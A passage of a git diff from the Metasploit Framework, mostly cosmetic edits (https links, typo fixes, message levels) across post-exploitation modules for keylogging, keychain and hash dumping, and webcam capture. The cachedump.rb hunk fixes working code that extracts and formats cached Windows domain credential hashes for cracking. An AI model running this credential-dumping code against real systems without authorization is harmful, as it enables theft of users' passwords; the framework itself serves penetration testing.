-      vprint_status("[#{num}:WINAPI] There was an error sending a connect packet for #{proto} socket (port #{dport}) Error: #{r['GetLastError']}")
+      vprint_bad("[#{num}:WINAPI] There was an error sending a connect packet for #{proto} socket (port #{dport}) Error: #{r['GetLastError']}")
     end
 
     client.railgun.ws2_32.closesocket(socket_handle['return'])
diff --git a/modules/post/osx/admin/say.rb b/modules/post/osx/admin/say.rb
index f3a99e6bd5..6f0def4425 100644
--- a/modules/post/osx/admin/say.rb
+++ b/modules/post/osx/admin/say.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -61,5 +61,4 @@ class MetasploitModule < Msf::Post
       print_status(out)
     end
   end
-
 end
diff --git a/modules/post/osx/capture/keylog_recorder.rb b/modules/post/osx/capture/keylog_recorder.rb
index f4c01bd106..ce5b909fac 100644
--- a/modules/post/osx/capture/keylog_recorder.rb
+++ b/modules/post/osx/capture/keylog_recorder.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/post/osx/capture/screen.rb b/modules/post/osx/capture/screen.rb
index 214572c00b..3a18d8051f 100644
--- a/modules/post/osx/capture/screen.rb
+++ b/modules/post/osx/capture/screen.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::File
   include Msf::Auxiliary::Report
 
diff --git a/modules/post/osx/gather/autologin_password.rb b/modules/post/osx/gather/autologin_password.rb
index 56d1d5578a..c493d79855 100644
--- a/modules/post/osx/gather/autologin_password.rb
+++ b/modules/post/osx/gather/autologin_password.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/post/osx/gather/enum_adium.rb b/modules/post/osx/gather/enum_adium.rb
index 4757c35ba9..849cf19393 100644
--- a/modules/post/osx/gather/enum_adium.rb
+++ b/modules/post/osx/gather/enum_adium.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'msf/core/auxiliary/report'
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::File
   include Msf::Auxiliary::Report
 
@@ -283,7 +282,6 @@ class MetasploitModule < Msf::Post
     save(:account, account_data) if not account_data.nil? and not account_data.empty?
     save(:chatlogs, chatlogs) if not chatlogs.nil? and not chatlogs.empty?
   end
-
 end
 
 =begin
diff --git a/modules/post/osx/gather/enum_airport.rb b/modules/post/osx/gather/enum_airport.rb
index de59e99229..99aa3f6ec4 100644
--- a/modules/post/osx/gather/enum_airport.rb
+++ b/modules/post/osx/gather/enum_airport.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -69,5 +69,4 @@ class MetasploitModule < Msf::Post
     # Save the raw version of the plist
     save(pref)
   end
-
 end
diff --git a/modules/post/osx/gather/enum_chicken_vnc_profile.rb b/modules/post/osx/gather/enum_chicken_vnc_profile.rb
index f6df0641d9..fc7a2f84de 100644
--- a/modules/post/osx/gather/enum_chicken_vnc_profile.rb
+++ b/modules/post/osx/gather/enum_chicken_vnc_profile.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::File
 
   def initialize(info={})
@@ -13,7 +12,7 @@ class MetasploitModule < Msf::Post
       'Description'   => %q{
         This module will download the "Chicken of the VNC" client application's
         profile file,	which is used to store other VNC servers' information such
-        as as the	IP and password.
+        as the IP and password.
       },
       'License'       => MSF_LICENSE,
       'Author'        => [ 'sinn3r'],
@@ -105,5 +104,4 @@ class MetasploitModule < Msf::Post
       save(plist) if not plist.nil?
     end
   end
-
 end
diff --git a/modules/post/osx/gather/enum_colloquy.rb b/modules/post/osx/gather/enum_colloquy.rb
index cbcb32c6cd..77b251874e 100644
--- a/modules/post/osx/gather/enum_colloquy.rb
+++ b/modules/post/osx/gather/enum_colloquy.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::File
 
   def initialize(info={})
@@ -155,7 +154,6 @@ class MetasploitModule < Msf::Post
     save(:preferences, prefs) if not prefs.nil? and not prefs.empty?
     save(:chatlogs, chatlogs) if not chatlogs.nil? and not chatlogs.empty?
   end
-
 end
 
 =begin
diff --git a/modules/post/osx/gather/enum_keychain.rb b/modules/post/osx/gather/enum_keychain.rb
index 04d972d766..a612592da9 100644
--- a/modules/post/osx/gather/enum_keychain.rb
+++ b/modules/post/osx/gather/enum_keychain.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::OSX::System
   include Msf::Exploit::FileDropper
 
@@ -15,7 +14,7 @@ class MetasploitModule < Msf::Post
         This module presents a way to quickly go through the current user's keychains and
         collect data such as email accounts, servers, and other services.  Please note:
         when using the GETPASS and GETPASS_AUTO_ACCEPT option, the user may see an authentication
-        alert flash briefly on their screen that gets dismissed by a programatically triggered click.
+        alert flash briefly on their screen that gets dismissed by a programmatically triggered click.
       },
       'License'       => MSF_LICENSE,
       'Author'        => [ 'ipwnstuff <e[at]ipwnstuff.com>', 'joev' ],
diff --git a/modules/post/osx/gather/enum_messages.rb b/modules/post/osx/gather/enum_messages.rb
index 13d0091aaf..83d298ea6d 100644
--- a/modules/post/osx/gather/enum_messages.rb
+++ b/modules/post/osx/gather/enum_messages.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::File
   include Msf::Auxiliary::Report
 
@@ -142,5 +141,4 @@ class MetasploitModule < Msf::Post
       print_good("#{peer} - #{e[:filename]} stored as: #{p}")
     end
   end
-
 end
diff --git a/modules/post/osx/gather/enum_osx.rb b/modules/post/osx/gather/enum_osx.rb
index fa5b02e9e5..7c2776fc84 100644
--- a/modules/post/osx/gather/enum_osx.rb
+++ b/modules/post/osx/gather/enum_osx.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'msf/core/auxiliary/report'
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::File
   include Msf::Auxiliary::Report
 
@@ -472,5 +471,4 @@ class MetasploitModule < Msf::Post
       end
     end
   end
-
 end
diff --git a/modules/post/osx/gather/hashdump.rb b/modules/post/osx/gather/hashdump.rb
index 720e41bd41..6cea320828 100644
--- a/modules/post/osx/gather/hashdump.rb
+++ b/modules/post/osx/gather/hashdump.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -165,7 +165,7 @@ class MetasploitModule < Msf::Post
   # reports the hash info to metasploit backend
   def report_hash(type, hash, user)
     return unless hash.present?
-    print_status("#{type}:#{user}:#{hash}")
+    print_good("#{type}:#{user}:#{hash}")
     case type
     when "NT"
       private_data = "#{Metasploit::Credential::NTLMHash::BLANK_LM_HASH}:#{hash}"
diff --git a/modules/post/osx/gather/password_prompt_spoof.rb b/modules/post/osx/gather/password_prompt_spoof.rb
index 0bcb11a7c6..3ee715a8fd 100644
--- a/modules/post/osx/gather/password_prompt_spoof.rb
+++ b/modules/post/osx/gather/password_prompt_spoof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/post/osx/gather/safari_lastsession.rb b/modules/post/osx/gather/safari_lastsession.rb
index 7cc361fe46..d60051d58f 100644
--- a/modules/post/osx/gather/safari_lastsession.rb
+++ b/modules/post/osx/gather/safari_lastsession.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'rexml/document'
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::File
 
   def initialize(info={})
@@ -21,7 +20,7 @@ class MetasploitModule < Msf::Post
         to find the credential for Gmail. The Gmail's last session state may contain the
         user's credential if his/her first login attempt failed (likely due to a typo),
         and then the page got refreshed or another login attempt was made. This also means
-        the stolen credential might contains typos.
+        the stolen credential might contain typos.
       },
       'License'       => MSF_LICENSE,
       'Author'        => [ 'sinn3r'],
@@ -214,5 +213,4 @@ class MetasploitModule < Msf::Post
       print_line(cred_tbl.to_s)
     end
   end
-
 end
diff --git a/modules/post/osx/manage/mount_share.rb b/modules/post/osx/manage/mount_share.rb
index 418b24dd91..182da2df42 100644
--- a/modules/post/osx/manage/mount_share.rb
+++ b/modules/post/osx/manage/mount_share.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/post/osx/manage/record_mic.rb b/modules/post/osx/manage/record_mic.rb
index 1543ade9de..6971b3b5cb 100644
--- a/modules/post/osx/manage/record_mic.rb
+++ b/modules/post/osx/manage/record_mic.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/post/osx/manage/vpn.rb b/modules/post/osx/manage/vpn.rb
index 2eea9cb271..1b3f44da57 100644
--- a/modules/post/osx/manage/vpn.rb
+++ b/modules/post/osx/manage/vpn.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::File
 
   STR_CONNECTED = '* (Connected)'
@@ -138,5 +137,4 @@ class MetasploitModule < Msf::Post
     end
     return nil
   end
-
 end
diff --git a/modules/post/osx/manage/webcam.rb b/modules/post/osx/manage/webcam.rb
index 18763d2c72..4ff4d37de9 100644
--- a/modules/post/osx/manage/webcam.rb
+++ b/modules/post/osx/manage/webcam.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/post/solaris/gather/checkvm.rb b/modules/post/solaris/gather/checkvm.rb
index 26e1ae0cf5..4e690f439d 100644
--- a/modules/post/solaris/gather/checkvm.rb
+++ b/modules/post/solaris/gather/checkvm.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::File
   include Msf::Post::Solaris::Priv
 
@@ -15,7 +14,7 @@ class MetasploitModule < Msf::Post
         'Description'   => %q{
           This module attempts to determine whether the system is running
           inside of a virtual environment and if so, which one. This
-          module supports detectoin of Solaris Zone, VMWare, VirtualBox, Xen,
+          module supports detection of Solaris Zone, VMWare, VirtualBox, Xen,
           and QEMU/KVM.},
         'License'       => MSF_LICENSE,
         'Author'        => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
diff --git a/modules/post/solaris/gather/enum_packages.rb b/modules/post/solaris/gather/enum_packages.rb
index 9e9c758159..761aa40afe 100644
--- a/modules/post/solaris/gather/enum_packages.rb
+++ b/modules/post/solaris/gather/enum_packages.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::File
   include Msf::Post::Solaris::System
 
@@ -27,7 +26,7 @@ class MetasploitModule < Msf::Post
     print_status("Running Module against #{distro[:hostname]}")
     packages = cmd_exec("/usr/bin/pkginfo -l")
     pkg_loot = store_loot("solaris.packages", "text/plain", session, packages, "installed_packages.txt", "Solaris Installed Packages")
-    print_status("Package list saved to loot file: #{pkg_loot}")
+    print_good("Package list saved to loot file: #{pkg_loot}")
 
     if datastore['VERBOSE']
       packages.each do |p|
diff --git a/modules/post/solaris/gather/enum_services.rb b/modules/post/solaris/gather/enum_services.rb
index 725d1f4e98..ce9ef82102 100644
--- a/modules/post/solaris/gather/enum_services.rb
+++ b/modules/post/solaris/gather/enum_services.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::File
   include Msf::Post::Solaris::System
 
@@ -31,7 +30,7 @@ class MetasploitModule < Msf::Post
     print_good("\t#{distro[:kernel]}")
     installed_pkg = get_services()
     pkg_loot = store_loot("solaris.services", "text/plain", session, installed_pkg, "configured_services.txt", "Solaris Configured Services")
-    print_status("Service list saved to loot file: #{pkg_loot}")
+    print_good("Service list saved to loot file: #{pkg_loot}")
     if datastore['VERBOSE']
       print_good("Services:")
 
diff --git a/modules/post/solaris/gather/hashdump.rb b/modules/post/solaris/gather/hashdump.rb
index 8c18997385..b2b5e5dac7 100644
--- a/modules/post/solaris/gather/hashdump.rb
+++ b/modules/post/solaris/gather/hashdump.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::File
   include Msf::Post::Solaris::Priv
 
@@ -29,8 +28,8 @@ class MetasploitModule < Msf::Post
       # Save in loot the passwd and shadow file
       p1 = store_loot("solaris.shadow", "text/plain", session, shadow_file, "shadow.tx", "Solaris Password Shadow File")
       p2 = store_loot("solaris.passwd", "text/plain", session, passwd_file, "passwd.tx", "Solaris Passwd File")
-      vprint_status("Shadow saved in: #{p1.to_s}")
-      vprint_status("passwd saved in: #{p2.to_s}")
+      vprint_good("Shadow saved in: #{p1.to_s}")
+      vprint_good("passwd saved in: #{p2.to_s}")
 
       # Unshadow the files
       john_file = unshadow(passwd_file, shadow_file)
diff --git a/modules/post/windows/capture/keylog_recorder.rb b/modules/post/windows/capture/keylog_recorder.rb
index af5ee3f05a..cbd658c141 100644
--- a/modules/post/windows/capture/keylog_recorder.rb
+++ b/modules/post/windows/capture/keylog_recorder.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::Windows::Priv
   include Msf::Post::File
 
diff --git a/modules/post/windows/capture/lockout_keylogger.rb b/modules/post/windows/capture/lockout_keylogger.rb
index c045f67cec..06e16ab3a0 100644
--- a/modules/post/windows/capture/lockout_keylogger.rb
+++ b/modules/post/windows/capture/lockout_keylogger.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::File
 
   def initialize(info={})
@@ -65,7 +64,7 @@ class MetasploitModule < Msf::Post
       session.ui.keyscan_start
       return true
     rescue
-      print_status("Failed to start Keylogging!")
+      print_error("Failed to start Keylogging!")
       return false
     end
   end
@@ -184,7 +183,7 @@ class MetasploitModule < Msf::Post
         print_error("Unable to migrate, try getsystem first")
         return
       end
-      print_status("Migrated to WINLOGON PID: #{targetpid} successfully")
+      print_good("Migrated to WINLOGON PID: #{targetpid} successfully")
     end
 
     # Override SystemParametersInfo Railgun call to check for Screensaver
diff --git a/modules/post/windows/escalate/droplnk.rb b/modules/post/windows/escalate/droplnk.rb
index d82e1958a6..4e984ee044 100644
--- a/modules/post/windows/escalate/droplnk.rb
+++ b/modules/post/windows/escalate/droplnk.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/post/windows/escalate/getsystem.rb b/modules/post/windows/escalate/getsystem.rb
index d15a18852f..8ca78e159f 100644
--- a/modules/post/windows/escalate/getsystem.rb
+++ b/modules/post/windows/escalate/getsystem.rb
@@ -1,13 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'metasm'
 
-
 class MetasploitModule < Msf::Post
-
   include Msf::Post::Windows::Priv
 
   def initialize(info={})
@@ -53,5 +51,4 @@ class MetasploitModule < Msf::Post
       print_error("Failed to obtain SYSTEM access")
     end
   end
-
 end
diff --git a/modules/post/windows/escalate/golden_ticket.rb b/modules/post/windows/escalate/golden_ticket.rb
index 413cc77d72..2f211c5541 100644
--- a/modules/post/windows/escalate/golden_ticket.rb
+++ b/modules/post/windows/escalate/golden_ticket.rb
@@ -1,3 +1,8 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
 require 'msf/core/post/windows/netapi'
 require 'msf/core/post/windows/kiwi'
 require 'msf/core/post/windows/error'
diff --git a/modules/post/windows/escalate/ms10_073_kbdlayout.rb b/modules/post/windows/escalate/ms10_073_kbdlayout.rb
index 837d9c984e..53446e6633 100644
--- a/modules/post/windows/escalate/ms10_073_kbdlayout.rb
+++ b/modules/post/windows/escalate/ms10_073_kbdlayout.rb
@@ -1,11 +1,10 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'metasm'
 
-
 class MetasploitModule < Msf::Post
 
   def initialize(info={})
@@ -318,7 +317,7 @@ EOS
       print_error("Unable to ResumeThread")
       return
     end
-    print_status("Successfully executed syscall wrapper!")
+    print_good("Successfully executed syscall wrapper!")
 
     # Now, send some input to cause ring0 payload execution...
     print_status("Attempting to cause the ring0 payload to execute...");
diff --git a/modules/post/windows/escalate/screen_unlock.rb b/modules/post/windows/escalate/screen_unlock.rb
index 8231732f21..3f0a777efb 100644
--- a/modules/post/windows/escalate/screen_unlock.rb
+++ b/modules/post/windows/escalate/screen_unlock.rb
@@ -1,11 +1,10 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'metasm'
 
-
 class MetasploitModule < Msf::Post
 
   def initialize(info={})
@@ -92,5 +91,4 @@ class MetasploitModule < Msf::Post
 
     print_error("No working target found")
   end
-
 end
diff --git a/modules/post/windows/gather/ad_to_sqlite.rb b/modules/post/windows/gather/ad_to_sqlite.rb
index 739dca74cc..6afc3a7949 100644
--- a/modules/post/windows/gather/ad_to_sqlite.rb
+++ b/modules/post/windows/gather/ad_to_sqlite.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/post/windows/gather/arp_scanner.rb b/modules/post/windows/gather/arp_scanner.rb
index ca22142376..f2e800ea77 100644
--- a/modules/post/windows/gather/arp_scanner.rb
+++ b/modules/post/windows/gather/arp_scanner.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'msf/core/auxiliary/report'
 
 class MetasploitModule < Msf::Post
-
   include Msf::Auxiliary::Report
 
   OUI_LIST = Rex::Oui
@@ -63,7 +62,7 @@ class MetasploitModule < Msf::Post
           if h["return"] == client.railgun.const("NO_ERROR")
             mac_text = h["pMacAddr"].unpack('C*').map { |e| "%02x" % e }.join(':')
             company = OUI_LIST::lookup_oui_company_name(mac_text )
-            print_status("\tIP: #{ip_text} MAC #{mac_text} (#{company})")
+            print_good("\tIP: #{ip_text} MAC #{mac_text} (#{company})")
             report_host(:host => ip_text,:mac => mac_text)
             next if company.nil?
             report_note(:host  => ip_text, :type  => "mac_oui", :data  => company)
@@ -74,5 +73,4 @@ class MetasploitModule < Msf::Post
     end
     return found
   end
-
 end
diff --git a/modules/post/windows/gather/bitcoin_jacker.rb b/modules/post/windows/gather/bitcoin_jacker.rb
index 30a6d7741a..894ec24ff4 100644
--- a/modules/post/windows/gather/bitcoin_jacker.rb
+++ b/modules/post/windows/gather/bitcoin_jacker.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'msf/core/auxiliary/report'
 
 class MetasploitModule < Msf::Post
-
   include Msf::Auxiliary::Report
   include Msf::Post::Windows::UserProfiles
   include Msf::Post::File
@@ -109,5 +108,4 @@ class MetasploitModule < Msf::Post
       end
     end
   end
-
 end
diff --git a/modules/post/windows/gather/bitlocker_fvek.rb b/modules/post/windows/gather/bitlocker_fvek.rb
index 4b9abff493..6566dd657d 100644
--- a/modules/post/windows/gather/bitlocker_fvek.rb
+++ b/modules/post/windows/gather/bitlocker_fvek.rb
@@ -1,3 +1,8 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
 require 'rex/parser/fs/bitlocker'
 
 class MetasploitModule < Msf::Post
@@ -100,7 +105,7 @@ class MetasploitModule < Msf::Post
           id_key_tmp = id_key_tmp[1]
           print_good("Recovery key generated successfuly : #{recovery_key}")
         else
-          print_status('Recovery Key generation failed')
+          print_error('Recovery Key generation failed')
           print_status('No recovery key can be used')
           return
         end
@@ -118,7 +123,7 @@ class MetasploitModule < Msf::Post
         print_good("Successfuly extract FVEK in #{stored_path}")
         print_good('This hard drive could later be decrypted using : dislocker -k <key_file> ...')
       else
-        print_bad('Failed to generate FVEK, wrong recovery key?')
+        print_error('Failed to generate FVEK, wrong recovery key?')
       end
     ensure
       unless id_key_tmp.nil?
diff --git a/modules/post/windows/gather/cachedump.rb b/modules/post/windows/gather/cachedump.rb
index 1a75c693af..41293135e9 100644
--- a/modules/post/windows/gather/cachedump.rb
+++ b/modules/post/windows/gather/cachedump.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::Windows::Priv
   include Msf::Post::Windows::Registry
 
@@ -64,6 +63,15 @@ class MetasploitModule < Msf::Post
     vprint_good "Username\t\t: #{username}"
     vprint_good "Hash\t\t: #{hash.unpack("H*")[0]}"
 
+    if lsa_vista_style?
+      if (s.iterationCount > 10240)
+        iterationCount = s.iterationCount & 0xfffffc00
+      else
+        iterationCount = s.iterationCount * 1024
+      end
+      vprint_good "Iteration count\t: #{s.iterationCount} -> real #{iterationCount}"
+    end
+
     last = Time.at(s.lastAccess)
     vprint_good "Last login\t\t: #{last.strftime("%F %T")} "
 
@@ -152,6 +160,7 @@ class MetasploitModule < Msf::Post
         [
           username,
           hash.unpack("H*")[0],
+          iterationCount,
           logonDomainName,
           dnsDomainName,
           last.strftime("%F %T"),
@@ -168,7 +177,7 @@ class MetasploitModule < Msf::Post
 
     vprint_good "----------------------------------------------------------------------"
     if lsa_vista_style?
-      return "#{username.downcase}:$DCC2$##{username.downcase}##{hash.unpack("H*")[0]}:#{dnsDomainName}:#{logonDomainName}\n"
+      return "#{username.downcase}:$DCC2$#{iterationCount}##{username.downcase}##{hash.unpack("H*")[0]}:#{dnsDomainName}:#{logonDomainName}\n"
     else
       return "#{username.downcase}:M$#{username.downcase}##{hash.unpack("H*")[0]}:#{dnsDomainName}:#{logonDomainName}\n"
     end
@@ -195,6 +204,7 @@ class MetasploitModule < Msf::Post
       :revision,
       :sidCount,
       :valid,
+      :iterationCount,
       :sifLength,
       :logonPackage,
       :dnsDomainNameLength,
@@ -228,7 +238,8 @@ class MetasploitModule < Msf::Post
 
     s.revision = cache_data[40,4].unpack("V")[0]
     s.sidCount = cache_data[44,4].unpack("V")[0]
-    s.valid = cache_data[48,4].unpack("V")[0]
+    s.valid = cache_data[48,2].unpack("v")[0]
+    s.iterationCount = cache_data[50,2].unpack("v")[0]
     s.sifLength = cache_data[52,4].unpack("V")[0]
 
     s.logonPackage  = cache_data[56,4].unpack("V")[0]
@@ -253,7 +264,7 @@ class MetasploitModule < Msf::Post
 
   def decrypt_hash_vista(edata, nlkm, ch)
     aes = OpenSSL::Cipher.new('aes-128-cbc')
-    aes.key = nlkm[16...-1]
+    aes.key = nlkm[16...32]
     aes.padding = 0
     aes.decrypt
     aes.iv = ch
@@ -275,6 +286,7 @@ class MetasploitModule < Msf::Post
     [
       "Username",
       "Hash",
+      "Hash iteration count",
       "Logon Domain Name",
       "DNS Domain Name",
       "Last Login",
@@ -319,7 +331,7 @@ class MetasploitModule < Msf::Post
 
       vprint_status("Lsa Key: #{lsakey.unpack("H*")[0]}")
 
-      print_status("Obtaining LK$KM...")
+      print_status("Obtaining NL$KM...")
       nlkm = capture_nlkm(lsakey)
       vprint_status("NL$KM: #{nlkm.unpack("H*")[0]}")
 
@@ -329,7 +341,7 @@ class MetasploitModule < Msf::Post
       john = ""
 
       ok.enum_value.each do |usr|
-        if( "NL$Control" == usr.name) then
+        if ( !usr.name.match(/^NL\$\d+$/) ) then
           next
         end
 
@@ -362,13 +374,13 @@ class MetasploitModule < Msf::Post
       if lsa_vista_style?
         print_status("Hash are in MSCACHE_VISTA format. (mscash2)")
         p = store_loot("mscache2.creds", "text/csv", session, @credentials.to_csv, "mscache2_credentials.txt", "MSCACHE v2 Credentials")
-        print_status("MSCACHE v2 saved in: #{p}")
+        print_good("MSCACHE v2 saved in: #{p}")
 
         john = "# mscash2\n" + john
       else
         print_status("Hash are in MSCACHE format. (mscash)")
         p = store_loot("mscache.creds", "text/csv", session, @credentials.to_csv, "mscache_credentials.txt", "MSCACHE v1 Credentials")
-        print_status("MSCACHE v1 saved in: #{p}")
+        print_good("MSCACHE v1 saved in: #{p}")
         john = "# mscash\n" + john
       end
 
diff --git a/modules/post/windows/gather/checkvm.rb b/modules/post/windows/gather/checkvm.rb
index ed613def78..8f2decf674 100644
--- a/modules/post/windows/gather/checkvm.rb
+++ b/modules/post/windows/gather/checkvm.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'msf/core/auxiliary/report'
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::Windows::Registry
   include Msf::Auxiliary::Report
 
@@ -16,7 +15,7 @@ class MetasploitModule < Msf::Post
       'Description'   => %q{
         This module attempts to determine whether the system is running
         inside of a virtual environment and if so, which one. This
-        module supports detectoin of Hyper-V, VMWare, Virtual PC,
+        module supports detection of Hyper-V, VMWare, Virtual PC,
         VirtualBox, Xen, and QEMU.
       },
       'License'       => MSF_LICENSE,
@@ -71,7 +70,7 @@ class MetasploitModule < Msf::Post
         :data   => { :hypervisor => "MS Hyper-V" },
         :update => :unique_data
         )
-      print_status("This is a Hyper-V Virtual Machine")
+      print_good("This is a Hyper-V Virtual Machine")
       return "MS Hyper-V"
     end
   end
@@ -121,7 +120,7 @@ class MetasploitModule < Msf::Post
         :data   => { :hypervisor => "VMware" },
         :update => :unique_data
         )
-      print_status("This is a VMware Virtual Machine")
+      print_good("This is a VMware Virtual Machine")
       return "VMWare"
     end
   end
@@ -157,7 +156,7 @@ class MetasploitModule < Msf::Post
         :data   => { :hypervisor => "VirtualPC" },
         :update => :unique_data
         )
-      print_status("This is a VirtualPC Virtual Machine")
+      print_good("This is a VirtualPC Virtual Machine")
       return "VirtualPC"
     end
   end
@@ -224,7 +223,7 @@ class MetasploitModule < Msf::Post
         :data   => { :hypervisor => "VirtualBox" },
         :update => :unique_data
         )
-      print_status("This is a Sun VirtualBox Virtual Machine")
+      print_good("This is a Sun VirtualBox Virtual Machine")
       return "VirtualBox"
     end
   end
